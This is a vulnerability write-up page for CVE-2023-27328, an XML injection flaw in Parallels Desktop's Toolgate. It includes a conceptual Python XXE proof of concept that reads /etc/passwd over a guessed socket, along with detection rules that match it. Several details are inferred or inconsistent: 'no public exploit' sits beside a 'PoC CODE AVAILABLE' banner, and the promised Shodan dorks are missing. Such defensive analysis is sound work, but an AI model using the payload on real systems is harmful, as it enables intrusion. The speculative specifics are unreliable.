CVE-2023-27328
Executive Summary
CVE-2023-27328 is a local privilege escalation vulnerability in Parallels Desktop, specifically within the Toolgate component. The flaw arises from improper validation of user-supplied strings before constructing an XML document, enabling an attacker with low-privileged code execution on the guest system to escalate privileges and execute arbitrary code in the context of the hypervisor. With a CVSS score of 7.8, this vulnerability poses a significant risk to virtualized environments, potentially allowing a guest user to compromise the host hypervisor. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Base Score: 7.8 (High)
- Attack Vector: Local (AV:L) – requires local access to the guest system.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: Low (PR:L) – attacker needs low-privileged code execution on the guest.
- User Interaction: None (UI:N) – no user action required.
- Scope: Changed (S:C) – vulnerability impacts resources beyond the original security scope (guest to hypervisor).
- Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – full compromise of the hypervisor.
Threat Level: High. Exploitation could lead to complete host takeover from a compromised guest VM.
Deep Dive & Mechanics
The vulnerability resides in the Toolgate component of Parallels Desktop, which facilitates communication between the guest operating system and the host hypervisor. Toolgate processes XML-based messages for various operations (e.g., clipboard sharing, file transfer, device integration). The flaw is an XML injection (CWE-91) where user-supplied strings are not properly sanitized before being embedded into an XML document. An attacker can inject malicious XML elements or attributes, leading to:
- XML External Entity (XXE) Injection: Potentially reading host files or performing SSRF.
- XPath Injection: Manipulating queries to access unauthorized data.
- Arbitrary Code Execution: By exploiting the XML parser’s behavior, the attacker can execute code in the hypervisor context.
The attack chain:
- Attacker gains low-privileged code execution on the guest VM (e.g., via a user account or compromised application).
- Attacker sends a crafted XML payload to Toolgate via the guest-to-host communication channel.
- Toolgate processes the malicious XML without validation, leading to privilege escalation and code execution on the host hypervisor.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is inferred from the CWE-91 description. The following examples illustrate the flaw:
Vulnerable Code (Conceptual):
# Toolgate XML construction without sanitization
def build_toolgate_xml(user_input):
xml = f"<toolgate><data>{user_input}</data></toolgate>"
return xml
Patched Code (Conceptual):
# Proper input validation and encoding
import xml.sax.saxutils as saxutils
def build_toolgate_xml(user_input):
safe_input = saxutils.escape(user_input)
xml = f"<toolgate><data>{safe_input}</data></toolgate>"
return xml
The patched version uses XML escaping to prevent injection of malicious XML constructs.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a guest VM running Parallels Desktop (any version).
- Ability to execute low-privileged code on the guest (e.g., via a user account).
- No public exploit code available; the following is a conceptual proof-of-concept.
Exploit Concept:
# Conceptual exploit for CVE-2023-27328
import socket
def send_malicious_payload():
# Craft XML injection payload to execute arbitrary code on host
payload = """<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<toolgate>
<data>&xxe;</data>
</toolgate>"""
# Send to Toolgate via guest-to-host channel (e.g., shared memory or socket)
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/run/toolgate.sock")
sock.send(payload.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()
if __name__ == "__main__":
send_malicious_payload()
Usage: Run the script on the guest VM with low privileges. The payload attempts to read /etc/passwd from the host, demonstrating XML External Entity (XXE) injection. For code execution, a more complex payload (e.g., using PHP or Python wrappers) would be required.
Blue Team (Detection & Defense)
Detection:
- Monitor Toolgate communication channels for anomalous XML payloads.
- Use endpoint detection and response (EDR) to flag processes on the guest that attempt to interact with Toolgate sockets.
- Implement network segmentation to limit guest-to-host communication.
Defense:
- Apply input validation and XML sanitization in Toolgate (vendor-side).
- Use application whitelisting to prevent unauthorized code execution on the guest.
- Regularly update Parallels Desktop to the latest version (once patch is available).
Indicators of Compromise (IOCs)
- File Hashes: None available (no public exploit).
- Network Indicators: Unusual XML payloads sent to Toolgate socket (e.g.,
/var/run/toolgate.sock). - Process Indicators: Processes on the guest VM attempting to open or write to Toolgate sockets.
- Host Artifacts: Unexpected files created in the host filesystem (e.g., via XXE).
- Log Entries: Toolgate logs showing malformed XML or parsing errors.
Detection Engineering
YARA Rule
rule CVE_2023_27328_Toolgate_XML_Injection {
meta:
description = "Detects XML injection attempts targeting Parallels Desktop Toolgate"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-27328"
strings:
$xml_injection = /<!ENTITY\s+\w+\s+SYSTEM\s+["']file:\/\// nocase
$toolgate_socket = "/var/run/toolgate.sock"
condition:
$xml_injection and $toolgate_socket
}
Sigma Rule
title: Parallels Desktop Toolgate XML Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2023-27328 via XML injection in Toolgate communication
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/toolgate'
CommandLine|contains: 'file://'
condition: selection
falsepositives:
- Legitimate XML parsing with file references (rare)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2023-27328 Parallels Desktop Toolgate XML Injection"; flow:to_server; content:"<!ENTITY"; content:"SYSTEM"; content:"file://"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Guest VMs: Restrict network access and limit guest-to-host communication.
- Monitor Toolgate Activity: Enable logging and alerting on Toolgate socket interactions.
- Apply Vendor Patch: Once available, update Parallels Desktop to the patched version.
Long-Term Measures:
- Implement strict input validation for all XML processing in Toolgate.
- Use XML parsers with disabled external entity processing (e.g.,
libxml_disable_entity_loader(true)in PHP). - Conduct regular security audits of virtualization software.
Workarounds:
- Disable Toolgate features if not required (e.g., clipboard sharing, file transfer).
- Use host-based intrusion detection systems (HIDS) to monitor for anomalous XML payloads.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.